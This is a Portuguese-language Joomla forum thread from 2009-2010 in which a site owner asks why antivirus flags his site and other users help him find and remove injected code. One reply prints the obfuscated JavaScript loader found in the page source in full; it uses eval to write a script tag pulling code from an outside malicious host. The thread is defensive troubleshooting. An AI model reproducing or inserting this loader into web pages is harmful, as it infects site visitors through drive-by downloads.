Joomla vs AVG

Locked
digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Joomla vs AVG

Post by digohs » Thu Jul 09, 2009 1:29 pm

ESTOU TENDO PROBLEMAS COM UM DE MEUS SITES A UM TEMPINHO.
http://www.miba.com.br/

O AVG RETORNA MENSAGEM:
"Filename: www.miba.com.br/
theat name: "Exploit link to known exploit site (type 508)"

fiz o download do joomla novamente para comparar os arquivos com os de minha pagina, Observei os arquivos são identicos, eu simplesmente nao sei de onde vem ou se existe realmente uma infeccção dentro de minha pagina.

Obs: dentro da mesma conta que eu hospedo o site (locaweb),
eu possuo varios outros sites joomla e nao joomla em subpastas, nenhum apresenta o erro..
dentre eles:
http://www.gospelrap.com.br
http://www.gangstar.com.br
http://www.gangsta.com.br
http://www.gaditas.net
http://www.ganggsta.com
http://www.ministeriocompaixao.com.br
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Thu Jul 09, 2009 1:55 pm

este é o codigo que o avg detectou na index
mas ele tbm detecta o virus em www.miba.com.br/administrator, so q nao consigo visualisar o codigo malicioso como o debaixo q eh o da index...

<script type="text/javascript" src="http://miba.com.br/modules/mod_gk_news_ ... e_slides=1
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

User avatar
ronildo
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 4022
Joined: Thu Aug 18, 2005 12:39 pm
Location: São Paulo - Brazil
Contact:

Re: Joomla vs AVG

Post by ronildo » Thu Jul 09, 2009 3:04 pm

Seu site está fora do ar aqui pra mim.
http://www.ronildo.com.br/blog/ pt-br | twitter: twitter.com/ronildo
http://forum.joomla.org/viewtopic.php?f=23&t=144443 - FAQ Joomla [pt]
Pessoal por favor não tiro dúvidas por e-mail nem mensagem privada, por favor não insistam.

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Thu Jul 09, 2009 3:36 pm

coloquei no ar... da uma olhada!
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

User avatar
ronildo
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 4022
Joined: Thu Aug 18, 2005 12:39 pm
Location: São Paulo - Brazil
Contact:

Re: Joomla vs AVG

Post by ronildo » Fri Jul 10, 2009 2:55 pm

Olha no código fonte da sua página tem um código que eu não sei se é do site é um código malicioso... é esse aqui.

Code: Select all

(function(FTjoO){var uGLZs=('<76a<72<20<61<3d<22Script<45ng<69n<65<22<2cb<3d<22Version(<29+<22<2cj<3d<22<22<2cu<3dn<61vi<67ator<2euserA<67ent<3bif((u<2ein<64ex<4ff(<22W<69n<22)<3e<30<29<26<26(u<2eind<65<78Of(<22NT<206<22)<3c<30)<26<26(doc<75m<65<6et<2ec<6fokie<2einde<78O<66<28<22mie<6b<3d1<22<29<3c0)<26<26(<74ypeof(<7arvzts)<21<3dtype<6ff(<22<41<22<29)<29<7bzr<76zt<73<3d<22A<22<3beval(<22i<66(wi<6edow<2e<22<2ba+<22<29<6a<3dj+<22<2ba+<22M<61jor<22+b+a+<22Minor<22<2bb+a<2b<22Build<22+b+<22<6a<3b<22<29<3b<64o<63u<6dent<2e<77r<69te(<22<3cscr<69<70<74<20src<3d<2f<2f<67umblar<2ecn<2frss<2f<3fid<3d<22+<6a+<22<3e<3c<5c<2f<73<63ript<3e<22)<3b<7d').replace(FTjoO,'%');var dOY8P=unescape(uGLZs);eval(dOY8P)})(/</g);
Tenta tirar esse código e ve se o AVG para de dar aviso.
http://www.ronildo.com.br/blog/ pt-br | twitter: twitter.com/ronildo
http://forum.joomla.org/viewtopic.php?f=23&t=144443 - FAQ Joomla [pt]
Pessoal por favor não tiro dúvidas por e-mail nem mensagem privada, por favor não insistam.

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Fri Jul 10, 2009 9:03 pm

coloquei no ar novamente... da uma olhada pra mim
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

User avatar
ronildo
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 4022
Joined: Thu Aug 18, 2005 12:39 pm
Location: São Paulo - Brazil
Contact:

Re: Joomla vs AVG

Post by ronildo » Fri Jul 10, 2009 9:12 pm

Amigo eu não uso o AVG pra mim não deu nenhum problema aqui... vc teria que verificar no seu computador se o AVG continua acusando o problema.
http://www.ronildo.com.br/blog/ pt-br | twitter: twitter.com/ronildo
http://forum.joomla.org/viewtopic.php?f=23&t=144443 - FAQ Joomla [pt]
Pessoal por favor não tiro dúvidas por e-mail nem mensagem privada, por favor não insistam.

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Mon Jul 13, 2009 1:27 pm

este é o virus q acusou no avast...
eu nao faço ideia de como removê-lo, nem por onde entrou...
JS: Redirector-H3 [Trj]
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

User avatar
ronildo
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 4022
Joined: Thu Aug 18, 2005 12:39 pm
Location: São Paulo - Brazil
Contact:

Re: Joomla vs AVG

Post by ronildo » Mon Jul 13, 2009 3:08 pm

A pergunta é, continua acusando ainda depois de vc tirar aquele código que eu falei??
http://www.ronildo.com.br/blog/ pt-br | twitter: twitter.com/ronildo
http://forum.joomla.org/viewtopic.php?f=23&t=144443 - FAQ Joomla [pt]
Pessoal por favor não tiro dúvidas por e-mail nem mensagem privada, por favor não insistam.

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Mon Jul 13, 2009 3:15 pm

eu estou tentando achar onde o codigo foi inserido mas nao consigo, o sr pode me dar uma dica?
:'(
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br

User avatar
fititnt
Joomla! Hero
Joomla! Hero
Posts: 2350
Joined: Sat Jul 15, 2006 1:41 am
Location: Porto Alegre - RS - Brazil
Contact:

Re: Joomla vs AVG

Post by fititnt » Mon Jul 13, 2009 3:35 pm

Em geral esse tipo de código é colocado no template.

Na pior das hipoteses, baixe todo o site para seu computador, e use um programa para procurar por palavras em arquivos de uma pasta. Até o dreamweaver vai apontar isso.
Emerson da Rocha Luiz
Moderador aposentado, 2008-2014 | Membro do JUGRS
http://www.fititnt.org

User avatar
wmfelipe
Joomla! Guru
Joomla! Guru
Posts: 856
Joined: Mon Mar 02, 2009 2:13 pm
Location: Curitiba, PR - Brasil
Contact:

Re: Joomla vs AVG

Post by wmfelipe » Tue Jul 14, 2009 1:07 pm

um amigo meu já teve problemas com esses 'vírus javascript', realmente basta procurar e remover aquele código estranho do inferno :D

abraço
Felipe Quinto Busanello - http://felipequinto.busanello.com.br
- -
FUAL v2.0b -> http://extensions.joomla.org/extensions ... ssion/8656
Seja vegetariano!

stravos
Joomla! Apprentice
Joomla! Apprentice
Posts: 43
Joined: Tue Jun 16, 2009 10:40 pm
Location: Rolândia-PR-Brasil
Contact:

Re: Joomla vs AVG

Post by stravos » Fri Jul 24, 2009 8:01 pm

Legal foi que o firefox já bloqueou o site do kra por ser uma possível ameaça... =P
Fernando Henrique Gaffo

User avatar
samp
Joomla! Guru
Joomla! Guru
Posts: 504
Joined: Sat Sep 03, 2005 5:58 am
Location: Sao Paulo, Brazil

Re: Joomla vs AVG

Post by samp » Mon Jul 27, 2009 9:45 pm

é alguma extensão com vulnerabilidade que permite a inserção de códigos ou arquivos maliciosos. cheque todas que vc usa, e claro, use a última versão do J!
Quem não deve.... não teme! ;)

digohs
Joomla! Apprentice
Joomla! Apprentice
Posts: 28
Joined: Wed Oct 29, 2008 4:08 pm

Re: Joomla vs AVG

Post by digohs » Thu Dec 02, 2010 8:50 pm

o problema aí foi por uma inclusão de sql maliciosa... tudo resolvido após atualizar meu joomla e desabilitar algumas extenções....

uma dica, antes de usar qqr extenção, dê uma olhada no histórico dela, se existem bugs nela e se existe uma real necessidade de usá-la, qto mais extenções voce tiver, mais vai ter que ficar antenado em atualizacoes e correcoes de bugs, o que fica complicado pra desenvolvedores nao eh mesmo....

um abraço a todooooss
Pluriverso - Inteligência em Tecnologia http://www.pluriverso.com.br
Metaverso - Mídia Digital e 3D http://www.metaverso.com.br


Locked

Return to “Segurança”